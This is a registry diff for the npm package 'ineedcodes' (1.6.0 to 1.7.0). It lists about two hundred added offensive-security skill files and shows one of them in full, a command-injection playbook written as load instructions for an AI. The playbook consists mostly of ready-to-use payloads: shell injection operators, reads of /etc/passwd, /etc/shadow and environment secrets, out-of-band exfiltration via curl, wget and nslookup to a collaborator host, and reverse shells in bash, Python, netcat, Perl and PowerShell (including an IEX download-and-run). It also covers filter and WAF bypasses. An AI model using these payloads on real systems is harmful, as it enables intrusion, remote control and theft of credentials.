ineedcodes 1.6.0 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +47 -11
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,687 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: cmdi-command-injection
|
|
3
|
+
description: >-
|
|
4
|
+
Command injection playbook. Use when user input may reach shell commands, process execution, converters, import pipelines, or blind out-of-band command sinks.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: OS Command Injection — Expert Attack Playbook
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: Expert command injection techniques. Covers all shell metacharacters, blind injection, time-based detection, OOB exfiltration, polyglot payloads, and real-world code patterns. Base models miss subtle injection through unexpected input vectors.
|
|
10
|
+
|
|
11
|
+
## 0. RELATED ROUTING
|
|
12
|
+
|
|
13
|
+
Before going deep, you can first load:
|
|
14
|
+
|
|
15
|
+
- [upload insecure files](../upload-insecure-files/SKILL.md) when the shell sink is part of a broader upload, import, or conversion workflow
|
|
16
|
+
|
|
17
|
+
### First-pass payload families
|
|
18
|
+
|
|
19
|
+
| Context | Start With | Backup |
|
|
20
|
+
|---|---|---|
|
|
21
|
+
| generic shell separator | `;id` | `&&id` |
|
|
22
|
+
| quoted argument | `";id;"` | `';id;'` |
|
|
23
|
+
| blind timing | `;sleep 5` | `& timeout /T 5 /NOBREAK` |
|
|
24
|
+
| command substitution | `$(id)` | `` `id` `` |
|
|
25
|
+
| out-of-band DNS | `;nslookup token.collab` | Windows `nslookup` variant |
|
|
26
|
+
|
|
27
|
+
```text
|
|
28
|
+
cat$IFS/etc/passwd
|
|
29
|
+
{cat,/etc/passwd}
|
|
30
|
+
%0aid
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
---
|
|
34
|
+
|
|
35
|
+
## 1. SHELL METACHARACTERS (INJECTION OPERATORS)
|
|
36
|
+
|
|
37
|
+
These characters break out of the command context and inject new commands:
|
|
38
|
+
|
|
39
|
+
| Metacharacter | Behavior | Example |
|
|
40
|
+
|---|---|---|
|
|
41
|
+
| `;` | Runs second command regardless | `dir; whoami` |
|
|
42
|
+
| `\|` | Pipes stdout to second command | `dir \| whoami` |
|
|
43
|
+
| `\|\|` | Run second only if first FAILS | `dir \|\| whoami` |
|
|
44
|
+
| `&` | Run second in background (or sequenced in Windows) | `dir & whoami` |
|
|
45
|
+
| `&&` | Run second only if first SUCCEEDS | `dir && whoami` |
|
|
46
|
+
| `$(cmd)` | Command substitution | `echo $(whoami)` |
|
|
47
|
+
| `` `cmd` `` | Command substitution (backtick) | `` echo `whoami` `` |
|
|
48
|
+
| `>` | Redirect stdout to file | `cmd > /tmp/out` |
|
|
49
|
+
| `>>` | Append to file | `cmd >> /tmp/out` |
|
|
50
|
+
| `<` | Read file as stdin | `cmd < /etc/passwd` |
|
|
51
|
+
| `%0a` | Newline character (URL-encoded) | `cmd%0awhoami` |
|
|
52
|
+
| `%0d%0a` | CRLF | Multi-command injection |
|
|
53
|
+
|
|
54
|
+
---
|
|
55
|
+
|
|
56
|
+
## 2. COMMON VULNERABLE CODE PATTERNS
|
|
57
|
+
|
|
58
|
+
### PHP
|
|
59
|
+
```php
|
|
60
|
+
$dir = $_GET['dir'];
|
|
61
|
+
$out = shell_exec("du -h /var/www/html/" . $dir);
|
|
62
|
+
// Inject: dir=../ ; cat /etc/passwd
|
|
63
|
+
// Inject: dir=../ $(cat /etc/passwd)
|
|
64
|
+
|
|
65
|
+
exec("ping -c 1 " . $ip); // $ip = "127.0.0.1 && cat /etc/passwd"
|
|
66
|
+
system("convert " . $file); // ImageMagick RCE
|
|
67
|
+
passthru("nslookup " . $host); // $host = "x.com; id"
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
### Python
|
|
71
|
+
```python
|
|
72
|
+
import os
|
|
73
|
+
os.system("curl " + url) # url = "x.com; id"
|
|
74
|
+
subprocess.call("ls " + path, shell=True) # shell=True is the key vulnerability
|
|
75
|
+
os.popen("ping " + host)
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
### Node.js
|
|
79
|
+
```javascript
|
|
80
|
+
const { exec } = require('child_process');
|
|
81
|
+
exec('ping ' + req.query.host, ...); // host = "x.com; id"
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
### Perl
|
|
85
|
+
```perl
|
|
86
|
+
$dir = param("dir");
|
|
87
|
+
$command = "du -h /var/www/html" . $dir;
|
|
88
|
+
system($command);
|
|
89
|
+
// Inject dir field: | cat /etc/passwd
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
### ASP (Classic)
|
|
93
|
+
```vb
|
|
94
|
+
szCMD = "type C:\logs\" & Request.Form("FileName")
|
|
95
|
+
Set oShell = Server.CreateObject("WScript.Shell")
|
|
96
|
+
oShell.Run szCMD
|
|
97
|
+
// Inject FileName: foo.txt & whoami > C:\inetpub\wwwroot\out.txt
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
---
|
|
101
|
+
|
|
102
|
+
## 3. BLIND COMMAND INJECTION — DETECTION
|
|
103
|
+
|
|
104
|
+
When response shows no command output:
|
|
105
|
+
|
|
106
|
+
### Time-Based Detection
|
|
107
|
+
```bash
|
|
108
|
+
# Linux:
|
|
109
|
+
; sleep 5
|
|
110
|
+
| sleep 5
|
|
111
|
+
$(sleep 5)
|
|
112
|
+
`sleep 5`
|
|
113
|
+
& sleep 5 &
|
|
114
|
+
|
|
115
|
+
# Windows:
|
|
116
|
+
& timeout /T 5 /NOBREAK
|
|
117
|
+
& ping -n 5 127.0.0.1
|
|
118
|
+
& waitfor /T 5 signal777
|
|
119
|
+
```
|
|
120
|
+
Compare response time without payload vs with payload. 5+ second delay = confirmed.
|
|
121
|
+
|
|
122
|
+
### OOB via DNS
|
|
123
|
+
```bash
|
|
124
|
+
# Linux:
|
|
125
|
+
; nslookup BURP_COLLAB_HOST
|
|
126
|
+
; host `whoami`.BURP_COLLAB_HOST
|
|
127
|
+
$(nslookup $(whoami).BURP_COLLAB_HOST)
|
|
128
|
+
|
|
129
|
+
# Windows:
|
|
130
|
+
& nslookup BURP_COLLAB_HOST
|
|
131
|
+
& nslookup %USERNAME%.BURP_COLLAB_HOST
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
### OOB via HTTP
|
|
135
|
+
```bash
|
|
136
|
+
# Linux:
|
|
137
|
+
; curl http://BURP_COLLAB_HOST/`whoami`
|
|
138
|
+
; wget http://BURP_COLLAB_HOST/$(id|base64)
|
|
139
|
+
|
|
140
|
+
# Windows:
|
|
141
|
+
& powershell -c "Invoke-WebRequest http://BURP_COLLAB_HOST/$(whoami)"
|
|
142
|
+
```
|
|
143
|
+
|
|
144
|
+
### OOB via Out-of-Band File
|
|
145
|
+
```bash
|
|
146
|
+
; id > /var/www/html/RANDOM_FILE.txt
|
|
147
|
+
# Then access: https://target.com/RANDOM_FILE.txt
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
---
|
|
151
|
+
|
|
152
|
+
## 4. INJECTION CONTEXT VARIATIONS
|
|
153
|
+
|
|
154
|
+
### Within Quoted String
|
|
155
|
+
```bash
|
|
156
|
+
command "INJECT"
|
|
157
|
+
# Inject: " ; id ; "
|
|
158
|
+
# Result: command "" ; id ; ""
|
|
159
|
+
```
|
|
160
|
+
|
|
161
|
+
### Within Single-Quoted String
|
|
162
|
+
```bash
|
|
163
|
+
command 'INJECT'
|
|
164
|
+
# Inject: '; id;'
|
|
165
|
+
# Result: command ''; id;''
|
|
166
|
+
```
|
|
167
|
+
|
|
168
|
+
### Within Backtick Execution
|
|
169
|
+
```bash
|
|
170
|
+
output=`command INJECT`
|
|
171
|
+
# Inject: x`; id ;`
|
|
172
|
+
```
|
|
173
|
+
|
|
174
|
+
### File Path Context
|
|
175
|
+
```bash
|
|
176
|
+
cat /var/log/INJECT
|
|
177
|
+
# Inject: ../../../etc/passwd (path traversal)
|
|
178
|
+
# Inject: access.log; id (command injection)
|
|
179
|
+
```
|
|
180
|
+
|
|
181
|
+
---
|
|
182
|
+
|
|
183
|
+
## 5. PAYLOAD LIBRARY
|
|
184
|
+
|
|
185
|
+
### Information Gathering
|
|
186
|
+
```bash
|
|
187
|
+
; id # current user
|
|
188
|
+
; whoami # user name
|
|
189
|
+
; uname -a # OS info
|
|
190
|
+
; cat /etc/passwd # user list
|
|
191
|
+
; cat /etc/shadow # password hashes (if root)
|
|
192
|
+
; ls /home/ # home directories
|
|
193
|
+
; env # environment variables (DB creds, API keys!)
|
|
194
|
+
; printenv # same
|
|
195
|
+
; cat /proc/1/environ # process environment
|
|
196
|
+
; ifconfig # network interfaces
|
|
197
|
+
; cat /etc/hosts # host entries
|
|
198
|
+
```
|
|
199
|
+
|
|
200
|
+
### Reverse Shells (Linux)
|
|
201
|
+
```bash
|
|
202
|
+
# Bash:
|
|
203
|
+
; bash -i >& /dev/tcp/ATTACKER/4444 0>&1
|
|
204
|
+
; bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
|
|
205
|
+
|
|
206
|
+
# Python:
|
|
207
|
+
; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
|
|
208
|
+
|
|
209
|
+
# Netcat (with -e):
|
|
210
|
+
; nc ATTACKER 4444 -e /bin/bash
|
|
211
|
+
|
|
212
|
+
# Netcat (without -e / OpenBSD):
|
|
213
|
+
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f
|
|
214
|
+
|
|
215
|
+
# Perl:
|
|
216
|
+
; perl -e 'use Socket;$i="ATTACKER";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
|
217
|
+
```
|
|
218
|
+
|
|
219
|
+
### Reverse Shells (Windows via PowerShell)
|
|
220
|
+
```powershell
|
|
221
|
+
& powershell -NoP -NonI -W Hidden -Exec Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
|
|
222
|
+
|
|
223
|
+
& powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
|
|
224
|
+
```
|
|
225
|
+
|
|
226
|
+
---
|
|
227
|
+
|
|
228
|
+
## 6. FILTER BYPASS TECHNIQUES
|
|
229
|
+
|
|
230
|
+
### Space Alternatives (when space is filtered)
|
|
231
|
+
```bash
|
|
232
|
+
cat</etc/passwd # < instead of space
|
|
233
|
+
{cat,/etc/passwd} # brace expansion
|
|
234
|
+
cat$IFS/etc/passwd # $IFS variable (field separator)
|
|
235
|
+
X=$'\x20'&&cat${X}/etc/passwd # hex encoded space
|
|
236
|
+
```
|
|
237
|
+
|
|
238
|
+
### Slash Alternatives (when `/` is filtered)
|
|
239
|
+
```bash
|
|
240
|
+
$'\057'etc$'\057'passwd # octal representation
|
|
241
|
+
cat /???/???sec??? # glob expansion
|
|
242
|
+
```
|
|
243
|
+
|
|
244
|
+
### Keyword Bypass via Variable Assembly
|
|
245
|
+
```bash
|
|
246
|
+
a=c;b=at;c=/etc/passwd; $a$b $c # 'cat /etc/passwd'
|
|
247
|
+
c=at;ca$c /etc/passwd # cat
|
|
248
|
+
```
|
|
249
|
+
|
|
250
|
+
### Newline Injection
|
|
251
|
+
```
|
|
252
|
+
cmd%0Aid%0Awhoami # URL-encoded newlines
|
|
253
|
+
cmd$'\n'id$'\n'whoami # literal newlines
|
|
254
|
+
```
|
|
255
|
+
|
|
256
|
+
---
|
|
257
|
+
|
|
258
|
+
## 7. COMMON INJECTION ENTRY POINTS
|
|
259
|
+
|
|
260
|
+
| Entry | Example |
|
|
261
|
+
|---|---|
|
|
262
|
+
| Network tools | ping, nslookup, traceroute, whois forms |
|
|
263
|
+
| File conversion | image resize, PDF generate, format convert |
|
|
264
|
+
| Email senders | From address, name fields in notification emails |
|
|
265
|
+
| Search/sort parameters | Passed to grep, find, sort commands |
|
|
266
|
+
| Log viewing | Passed to tail, grep commands |
|
|
267
|
+
| Custom script execution | "Run test" features, CI/CD hooks |
|
|
268
|
+
| DNS lookup features | rDNS lookup, WHOIS query |
|
|
269
|
+
| Backup/restore features | File path parameters |
|
|
270
|
+
| Archive processing | zip/unzip, tar with user-provided filename |
|
|
271
|
+
|
|
272
|
+
---
|
|
273
|
+
|
|
274
|
+
## 8. BLIND INJECTION DECISION TREE
|
|
275
|
+
|
|
276
|
+
```
|
|
277
|
+
Found potential injection point?
|
|
278
|
+
├── Try basic: ; sleep 5
|
|
279
|
+
│ └── Response delays? → Confirmed blind injection
|
|
280
|
+
│ ├── Extract data via timing: if/then sleep
|
|
281
|
+
│ └── Use OOB: curl/nslookup to Collaborator
|
|
282
|
+
│
|
|
283
|
+
├── No delay observed?
|
|
284
|
+
│ ├── Try: | sleep 5
|
|
285
|
+
│ ├── Try: $(sleep 5)
|
|
286
|
+
│ ├── Try: ` sleep 5 `
|
|
287
|
+
│ ├── Try after URL encoding: %3B%20sleep%205
|
|
288
|
+
│ └── Try double encoding: %253B%2520sleep%25205
|
|
289
|
+
│
|
|
290
|
+
└── All blocked → check WEB APPLICATION LAYER
|
|
291
|
+
Filter on input? → encode differently
|
|
292
|
+
Filter on specific commands? → whitespace bypass, $IFS, glob
|
|
293
|
+
```
|
|
294
|
+
|
|
295
|
+
---
|
|
296
|
+
|
|
297
|
+
## 9. ADVANCED WAF BYPASS TECHNIQUES
|
|
298
|
+
|
|
299
|
+
### Wildcard Expansion
|
|
300
|
+
|
|
301
|
+
```bash
|
|
302
|
+
# Use ? and * to bypass keyword filters:
|
|
303
|
+
/???/??t /???/p??s?? # /bin/cat /etc/passwd
|
|
304
|
+
/???/???/????2 *.php # /usr/bin/find2 *.php (approximate)
|
|
305
|
+
|
|
306
|
+
# Globbing for specific files:
|
|
307
|
+
cat /e?c/p?sswd
|
|
308
|
+
cat /e*c/p*d
|
|
309
|
+
```
|
|
310
|
+
|
|
311
|
+
### cat Alternatives (when "cat" is filtered)
|
|
312
|
+
|
|
313
|
+
```bash
|
|
314
|
+
tac /etc/passwd # reverse cat
|
|
315
|
+
nl /etc/passwd # numbered lines
|
|
316
|
+
head /etc/passwd
|
|
317
|
+
tail /etc/passwd
|
|
318
|
+
more /etc/passwd
|
|
319
|
+
less /etc/passwd
|
|
320
|
+
sort /etc/passwd
|
|
321
|
+
uniq /etc/passwd
|
|
322
|
+
rev /etc/passwd | rev
|
|
323
|
+
xxd /etc/passwd
|
|
324
|
+
strings /etc/passwd
|
|
325
|
+
od -c /etc/passwd
|
|
326
|
+
base64 /etc/passwd # then decode offline
|
|
327
|
+
```
|
|
328
|
+
|
|
329
|
+
### Comment Insertion (PHP specific)
|
|
330
|
+
|
|
331
|
+
```bash
|
|
332
|
+
# Insert comments within function names to bypass WAF:
|
|
333
|
+
sys/*x*/tem('id') # PHP ignores /* */ in some eval contexts
|
|
334
|
+
# Note: this works with eval() and similar PHP dynamic calls
|
|
335
|
+
```
|
|
336
|
+
|
|
337
|
+
### XOR String Construction (PHP)
|
|
338
|
+
|
|
339
|
+
```php
|
|
340
|
+
# Build function names from XOR of printable characters:
|
|
341
|
+
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
|
|
342
|
+
# Produces: "assert"
|
|
343
|
+
$_('%13%19%13%14%05%0d'|'%60%60%60%60%60%60');
|
|
344
|
+
# Evaluates: assert("system")
|
|
345
|
+
```
|
|
346
|
+
|
|
347
|
+
### Base64/ROT13 Encoding
|
|
348
|
+
|
|
349
